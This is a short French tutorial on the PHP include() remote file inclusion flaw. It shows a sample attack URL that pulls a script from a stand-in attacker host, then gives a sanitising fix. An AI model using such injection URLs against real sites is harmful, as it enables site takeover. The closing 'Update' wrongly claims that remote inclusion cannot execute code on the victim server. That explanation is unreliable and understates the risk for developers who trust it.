Comment sécuriser et éviter les failles PHP pour son site ?

Sylvain Tutoriaux 0 commentaire(s) 8884 vue(s)

LA CÉLÈBRE FAILLE INCLUDE()

Par Juliian 

Célèbre car très utilisée, la faille include permet au "pirate" de prendre le contrôle entier de votre site. Ajouter, supprimer ou modifier des fichiers, en voir le contenu (password, attention), ou même pire, stocker des programmes malveillants sur votre espace web. Si votre code se présente dans cette configuration, inquiétez vous : 
 


Si votre URL est sous la forme suivante : http://www.votresite.com/index.php?page=accueil.php 

Pourquoi ? 


De cette façon, vous intégrez une page à une autre page, par exemple, via ce lien : http://www.votresite.com/index.php?page=accueil.php. 
Cette méthode remplit son rôle, vous avez bien le fichier demandé sur votre page, et les moutons sont bien gardés. Eh bien non ! Les moutons ne sont pas bien gardés. Regardez, il y en a déjà un KO, et les autres vont bientôt se faire attaquer. 

Comment ? 


Le pirate peut également intégrer ses pages malveillantes (comme cela: http://www.jesuisunpirate.com/script.php,' target='_blank'>http://www.votresite.com/?page=http://www.jesuisunpirate.com/script.php, (PS pour les "pirates", cette méthode ne marche pas, n'essayez même pas. ;-), et comme le PHP est un langage merveilleux, il pourra TOUT faire. 

Comment y remédier ? 


C'est très simple, et pas très contraignant : 
 

$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);
if(!@include("includes/$page.php"))die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire.");


Si c'est du chinois pour vous, soyez assuré que cette méthode remplira son rôle. 

Quelques explications : Ce mini code inclut votre page en enlevant les caractères spéciaux, les "/" (slash) par exemple, et affiche un message d'erreur si votre include échoue. Pourquoi est-ce efficace ? Car le piratin a obligatoirement besoin d'utiliser "/" pour taper "[http://]", il ne pourra donc pas intégrer son script, et se verra renvoyer un message d'erreur. De plus, le code oblige l'extension .php pour vos scripts. Hors, rien n'est possible avec un fichier .php (enfin, pas grand chose, l'exploitation d'une faille XSS tout au plus, je développerais en dessous.) 

Update : Pour ceux qui se demandent pourquoi l'utilisation d'un fichier php distant rend impossible l'exécution de codes malveillants, je vais expliquer la situation brièvement. Quand le pirate tentera d'include son script, qui contiendra par exemple une commande pour supprimer votre fichier index.php (à savoir unlink("index.php"), le script s'exécutera dans un premier temps sur son serveur puis, ensuite, sera inclus sur votre page. Ainsi, si son code ne contient que la commande de suppression de la page index.php, cela reviendra à include un fichier vierge, il lui sera simplement impossible d'exécuter un code PHP sur votre serveur..